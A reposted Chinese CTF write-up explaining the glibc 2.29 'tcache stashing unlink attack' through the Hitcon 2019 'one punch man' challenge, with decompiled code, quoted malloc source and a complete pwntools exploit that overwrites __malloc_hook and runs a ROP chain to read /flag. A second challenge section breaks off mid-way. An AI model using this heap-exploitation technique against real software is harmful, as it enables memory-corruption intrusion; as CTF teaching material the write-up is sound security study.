记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

从Hitcon 2019一道题学习glibc 2.29下的新型攻击方式

2020-02-14 10:01

前言

前几天BUUCTF办了场新春红包赛,做到了一道咲夜南梦师傅出的glibc 2.29下的题,做题过程中发现和去年Hitcon CTF的一道one punch man很像,网上其他人的做法有unlinklarge bin attack,这里再引进一种新的攻击方式,达到相同条件下任意地址写一个libc地址的目的。需要声明的是这种攻击方式并非笔者发现,而是看到台湾一位师傅berming的题解学习的,这种攻击方式原作者称为TCACHE STASHING UNLINK ATTACK,现分享给大家。

本文相关文件链接如下:下载链接

Hitcon 2019 one punch man

程序分析

程序开启了常见的所有保护,实现了AddEditDeleteShow等功能,除此之外还有一个后门函数Backdoor

另外函数有沙箱保护,只有下面这些系统调用可用。

line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL

其中,Add函数可以分配[0x80,0x400]大小的堆块,分配的函数为calloc,输入数据首先存储到栈上,之后再使用strncpy拷贝到bss上的数组里

unsigned __int64 __fastcall Add(__int64 a1, __int64 a2)
{
unsigned int idx; // [rsp+8h] [rbp-418h]
signed int name_len; // [rsp+Ch] [rbp-414h]
char s[1032]; // [rsp+10h] [rbp-410h]
unsigned __int64 v6; // [rsp+418h] [rbp-8h]

v6 = __readfsqword(0x28u);
MyPuts("idx: ");
idx = read_int();
if ( idx > 2 )
error("invalid", a2);
MyPuts("hero name: ");
memset(s, 0, 0x400uLL);
name_len = read(0, s, 0x400uLL);
if ( name_len <= 0 )
error("io", s);
s[name_len - 1] = 0;
if ( name_len <= 0x7F || name_len > 0x400 )
error("poor hero name", s);
*((_QWORD *)&unk_4040 + 2 * idx) = calloc(1uLL, name_len);
qword_4048[2 * idx] = name_len;
strncpy(*((char **)&unk_4040 + 2 * idx), s, name_len);
memset(s, 0, 0x400uLL);
return __readfsqword(0x28u) ^ v6;
}

Delete函数free堆块之后未清空,造成double freeUAF

void __fastcall Delete(__int64 a1, __int64 a2)
{
unsigned int v2; // [rsp+Ch] [rbp-4h]

MyPuts("idx: ");
v2 = read_int();
if ( v2 > 2 )
error("invalid", a2);
free(*((void **)&unk_4040 + 2 * v2));
}

后门函数可以调用malloc分配0x217大小的堆块,但是要要满足*(_BYTE *)(qword_4030 + 0x20) > 6,我们在main函数里可以看到这里被初始化为heap_base+0x10,对于glibc 2.29,这个位置对应存储的是tcache_perthread_struct0x220大小的tcache_bin的数量,正常来说,如果我们想调用后门的功能,要让这个count为7,然而这也就意味着0x217再分配和释放都同glibc 2.23一样,我们无法通过UAF改chunk的fd来达到任意地址写的目的,因此我们要通过别的方式修改这个值。

/*
ptr = (char *)malloc(0x1000uLL);
if ( !ptr )
error("err", a2);
v3 = ptr;
free(ptr);
qword_4030 = ((unsigned __int64)ptr & 0xFFFFFFFFFFFFF000LL) + 0x10;
*/
__int64 __fastcall Magic(__int64 a1, __int64 a2)
{
void *buf; // [rsp+8h] [rbp-8h]

if ( *(_BYTE *)(qword_4030 + 0x20) <= 6 )
error("gg", a2);
buf = malloc(0x217uLL);
if ( !buf )
error("err", a2);
if ( read(0, buf, 0x217uLL) <= 0 )
error("io", buf);
puts("Serious Punch!!!");
puts(&unk_2128);
return puts(buf);
}

Edit和Show函数都是实现了字面功能的函数,不再赘述。

漏洞利用

现在的目标变成了如何在一个地址上写一个较大的数,在glibc 2.29增加了对unsorted bin attack的检查,即检查双向链表的完整性,这使得这个攻击完全失去了作用,由于我们使用的是calloc,分配过程中不从tcache bins中取堆块,只能用fastbin attack,但是这里又限制分配的大小从0x80开始,这种思路也失效了,在这种情况下我们要介绍的攻击方式就派上了用场。

这种攻击的场景是我们请求申请一个大小为size的chunk,此时堆中有空闲的small bin(两个),根据small bin的FIFO,会对最早释放的small bin进行unlink操作,在unlink之前会有链表的完整性检查__glibc_unlikely (bck->fd != victim),在将这个堆块给用户之后,如果对应的tcache bins的数量小于最大数量,则剩余的small bin将会被放入tcache,这时候放入的话没有完整性检查,即不会检查这些small bin的fdbk。在放入之前会有另一次unlink,这里的bck->fd = bin;产生的结果是将bin的值写到了*(bck+0x10),我们可以将bck伪造为target_addr-0x10,bin为libc相关地址,则可以向target_addr写入bin,攻击结果和unsored bin attack的结果类似。

注意刚才描述的放入过程是一个循环,我们将伪造的bck看成一个堆块,其bk很可能是一个非法的地址,这样就导致循环到下一个堆块时unlink执行到bck->fd = bin;访问非法内存造成程序crash。为了避免这种情况我们选择释放6个对应size的chunk到tcache bin,只为tcache留一个空间,这样循环一次就会跳出,不会有后续问题。

/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/

if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

有了上述介绍之后解题就简单多了,首先UAF可以泄露heaplibc地址,然后我们free一个0x220大小的块进入tcache并使用UAF修改其fd__malloc_hook备用。

之后我们释放9次0x400大小的堆块,再分配大小为0x300的堆块,产生一个0x100大的last_remainder,再分配一个大于0x100的堆块让这个last_remainder放入small bin[0x100];再用相同方式构造出另一个相同大小small bin,我们分别称之为bin1和bin2,使用Editbin2->bk改为(heap_base+0x2f)-0x10,调用calloc(0xf0)触发上述流程,最终改掉heap_base+0x30的值绕过检查。

最后调用后门函数修改__malloc_hookgadget(mov eax, esi ; add rsp, 0x48 ; ret),在add的时候将rsp改到可控的输入区域调用rop chains

exp.py

#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./one_punch')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./one_punch')

else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)

def Add(idx,name):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("hero name: ")
p.send(name)


def Edit(idx,name):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("hero name: ")
p.send(name)

def Show(idx):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil("idx: ")
p.sendline(str(idx))

def Delete(idx):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil("idx: ")
p.sendline(str(idx))

def BackDoor(buf):
p.recvuntil('> ')
p.sendline('50056')
sleep(0.1)
p.send(buf)

def exp():
#leak heap
for i in range(7):
Add(0,'a'*0x120)
Delete(0)
Show(0)
p.recvuntil("hero name: ")
heap_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 0x850
log.success("[+]heap base => "+ hex(heap_base))
#leak libc
Add(0,'a'*0x120)
Add(1,'a'*0x400)
Delete(0)
Show(0)
p.recvuntil("hero name: ")
libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - (0x902ca0-0x71e000)
log.success("[+]libc base => " + hex(libc_base))
#
for i in range(6):
Add(0,'a'*0xf0)
Delete(0)
for i in range(7):
Add(0,'a'*0x400)
Delete(0)
Add(0,'a'*0x400)
Add(1,'a'*0x400)
Add(1,'a'*0x400)
Add(2,'a'*0x400)
Delete(0)#UAF
Add(2,'a'*0x300)
Add(2,'a'*0x300)
gdb.attach(p)
#agagin
Delete(1)#UAF

Add(2,'a'*0x300)

Add(2,'a'*0x300)
Edit(2,'/flag'.ljust(8,'\x00'))

Edit(1,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x000055555555c460-0x555555559000))+p64(heap_base+0x1f))

#trigger

Add(0,'a'*0x217)

Delete(0)


Edit(0,p64(libc_base+libc.sym['__malloc_hook']))

Add(0,'a'*0xf0)

BackDoor('a')

#mov eax, esi ; add rsp, 0x48 ; ret
#magic_gadget = libc_base + libc.sym['setcontext']+53
# add rsp, 0x48 ; ret
magic_gadget = libc_base + 0x000000000008cfd6
payload = p64(magic_gadget)

BackDoor(payload)

p_rdi = libc_base + 0x0000000000026542
p_rsi = libc_base + 0x0000000000026f9e
p_rdx = libc_base + 0x000000000012bda6
p_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x00000000000cf6c5
rop_heap = heap_base + 0x44b0

rops = p64(p_rdi)+p64(rop_heap)
rops += p64(p_rsi)+p64(0)
rops += p64(p_rdx)+p64(0)
rops += p64(p_rax)+p64(2)
rops += p64(syscall)
#rops += p64(libc.sym['open'])
#read
rops += p64(p_rdi)+p64(3)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x70)
rops += p64(p_rax)+p64(0)
rops += p64(syscall)
#rops += p64(libc.sym['read'])
#write
rops += p64(p_rdi)+p64(1)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x70)
rops += p64(p_rax)+p64(1)
rops += p64(syscall)
Add(0,rops)


p.interactive()

exp()

BUUCTF 新春红包赛

程序分析

这道题目和上面的题目非常相似,开启了除canary之外的所有保护,禁掉了execve

```bash
xynm

BUUCTF_RedPacPwn.zip (0.836 MB) 下载附件

知识来源: xz.aliyun.com/t/7192

阅读:59344 | 评论:0 | 标签:攻击 学习

想收藏或者和大家分享这篇好文章→复制链接地址

“从Hitcon 2019一道题学习glibc 2.29下的新型攻击方式”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云